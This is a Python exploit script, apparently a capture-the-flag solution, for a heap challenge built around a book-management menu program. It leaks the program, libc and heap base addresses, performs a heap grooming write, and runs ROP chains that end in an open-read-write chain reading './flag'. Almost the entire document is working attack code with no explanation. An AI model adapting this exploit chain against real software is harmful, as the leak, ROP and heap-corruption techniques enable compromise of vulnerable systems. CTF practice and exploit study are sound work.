1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97
| from pwncli import * from ctypes import * from LibcSearcher import * from time import time
cli_script()
io = gift['io'] elf = gift["elf"] libc = gift.libc filename = gift.filename is_debug = gift.debug is_remote = gift.remote gdb_pid = gift.gdb_pid
arch='amd64' context(log_level = 'debug',os='linux',arch=arch) if gift.remote: gift['libc'] = libc pass libc_box = LibcBox()
def cmd(c): sla("Your choice:",str(c)) def add(size): cmd(1) sla("How many pages does your book need?",str(size)) def free(idx,choice=0,idx_=0,data=""): cmd(2) sla("which book would you want to delete?",str(idx)) c = 'N' if choice == 1 : c = 'Y' sa("Do you want to say anything else before being deleted?(y/n)",c) if choice == 0: return sla("which page do you want to write?",str(idx_)) sa("content: ",data)
def edit(data): cmd(3) sa("come on,Write down your story!",data) def do(data): sa("come on,Write down your story!",data)
def pwn_exp(): print('PWN') ru('give you a gift: ') elf.address = int(io.recv(14),16)-0x5642f87e1010+0x5642f87dd000 add(0x428) add(0x30) add(0x418) free(0) add(0x438) free(2,1,0,p64_ex(elf.address + 0x4050-0x20)*3) add(0x438)
CG.set_find_area(find_in_elf=True,find_in_libc=False) p1 = b'\x00'*0x20+p64_ex(CG.ret())+p64_ex(CG.pop_rdi_ret())+p64_ex(elf.got.puts)+p64_ex(elf.plt.puts)+p64_ex(elf.sym.edit_the_book) edit(p1)
libc.address = recv_libc_addr(io) - libc.sym.puts CG.set_find_area(find_in_elf=True,find_in_libc=True)
p2 = b'\x00'*0x20+p64_ex(CG.ret())+p64_ex(CG.pop_rdi_ret())+p64_ex(elf.address + 0x4088)+p64_ex(elf.plt.puts)+p64_ex(elf.sym.edit_the_book) do(p2)
ru('\n') heap_base = u64_ex(io.recv(6))-0x557c29854fb0+0x557c29854000
dest = heap_base + 0x557c29854fa0 - 0x557c29854000 + 0x10
p3 = b'./flag' p3 = p3.ljust(0x28,b'\x00') p3 += CG.orw_chain(dest,dest+0x3000)
do(p3)
log.info('#---#---#---#---#') log.success('libc.address: '+hex(libc.address)) log.success('elf.address: '+hex(elf.address)) log.success('heap_base: '+hex(heap_base)) log.success('dest: '+hex(dest))
if __name__ == '__main__': pwn_exp() io.interactive()
|